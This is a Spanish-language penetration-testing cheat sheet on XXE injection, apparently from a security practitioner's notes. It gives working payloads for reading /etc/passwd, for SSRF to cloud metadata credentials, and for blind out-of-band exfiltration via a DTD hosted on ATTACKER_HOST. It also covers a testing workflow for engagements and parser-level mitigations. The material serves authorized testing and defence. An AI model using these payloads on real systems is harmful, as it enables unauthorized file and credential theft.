Qué es y por qué sigue apareciendo en 2026
XXE explota parsers XML que resuelven entidades externas definidas en el DOCTYPE del documento
-- si el parser no las deshabilita explícitamente, una entidad puede apuntar a un archivo local, a
una URL interna, o a un protocolo especial (php://filter, expect://, jar:), y el parser la
resuelve como si fuera texto legítimo dentro del XML.
Sigue vivo porque no vive solo en endpoints "obvios" tipo SOAP -- aparece escondido dentro de formatos que son XML por dentro aunque no lo parezcan: DOCX/XLSX/PPTX (son ZIPs de XMLs), SVG, RSS/Atom, SAML, configuración de Office/LibreOffice, y cualquier importador de "sube tu archivo" que internamente parsea ese contenido con una librería XML sin hardening.
Payload base y variantes por objetivo
<!-- Lectura de archivo local -->
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>
<!-- SSRF hacia metadata cloud (ver cheatsheet de SSRF -- mismo target, otra vía de entrada) -->
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]>
<foo>&xxe;</foo>
<!-- Blind XXE / exfiltración fuera de banda cuando la respuesta no se refleja -->
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://ATTACKER_HOST/malicious.dtd"> %xxe; ]>
<!-- malicious.dtd, alojado en ATTACKER_HOST -- exfiltra el archivo leído vía un segundo callback -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://ATTACKER_HOST/?x=%file;'>">
%eval;
%exfil;
Dónde buscarlo en un engagement
- Cualquier endpoint que acepte
Content-Type: application/xmlotext/xmlexplícito -- probar aunque el resto de la API sea JSON, muchos frameworks parsean XML igual si se lo mandas. - Subida de archivos que terminan procesándose server-side: DOCX/XLSX/PPTX (reemplazar
word/document.xmldentro del ZIP y volver a comprimir), SVG (subida de avatar/logo es un vector clásico), archivos de importación de configuración. - SAML SSO -- el XML de la aserción SAML es un objetivo de alto valor porque suele procesarse con privilegios elevados del lado del Service Provider.
- Cualquier feature de "importar desde URL" o "sincronizar RSS/Atom".
Flujo de prueba
- Confirmar que el parser resuelve entidades: empezar con una entidad inofensiva que resuelva un string conocido, antes de intentar lectura de archivos.
- Si la respuesta refleja el contenido de la entidad, ir directo a lectura de archivo (
/etc/passwd, luego archivos de configuración específicos de la stack detectada). - Si la respuesta NO refleja nada (blind), montar un callback propio (webhook, listener HTTP controlado) y usar el patrón de DTD externo de arriba -- confirmar primero con un ping simple antes de intentar exfiltración de archivo real.
- Si el archivo objetivo tiene un salto de línea que rompe el payload (común en XML), usar el
wrapper
php://filter/convert.base64-encode/resource=para traerlo codificado sin romper el XML. - Probar también DoS vía "billion laughs" (entidades anidadas que se expanden exponencialmente) -- es un hallazgo de disponibilidad válido aunque no haya lectura de archivo posible.
Por qué casi siempre es severidad alta, no media
XXE con lectura de archivo arbitraria en el servidor es equivalente a un LFI -- si el archivo
alcanzable incluye credenciales (.env, wp-config.php, claves SSH, archivos de configuración de
la app), la severidad sube directo a crítica. Si además el mismo vector alcanza el endpoint de
metadata cloud (ver [[cheatsheet-de-ssrf-contra-metadata-de-nube-aws-imds-azure-gcp]]), es el mismo
impacto que un SSRF crítico, solo que la puerta de entrada fue un parser XML en vez de un parámetro
de URL explícito -- no subestimarlo por llegar "indirecto".
Mitigación esperable en el informe
La corrección real no es sanitizar el input -- es deshabilitar la resolución de entidades externas
a nivel de configuración del parser (libxml_disable_entity_loader en PHP, XMLInputFactory con
SUPPORT_DTD y IS_SUPPORTING_EXTERNAL_ENTITIES en false en Java, resolve_entities=False en
lxml de Python). Si el parser lo permite, deshabilitar DOCTYPE por completo es la mitigación más
robusta cuando el formato no necesita definir entidades nunca.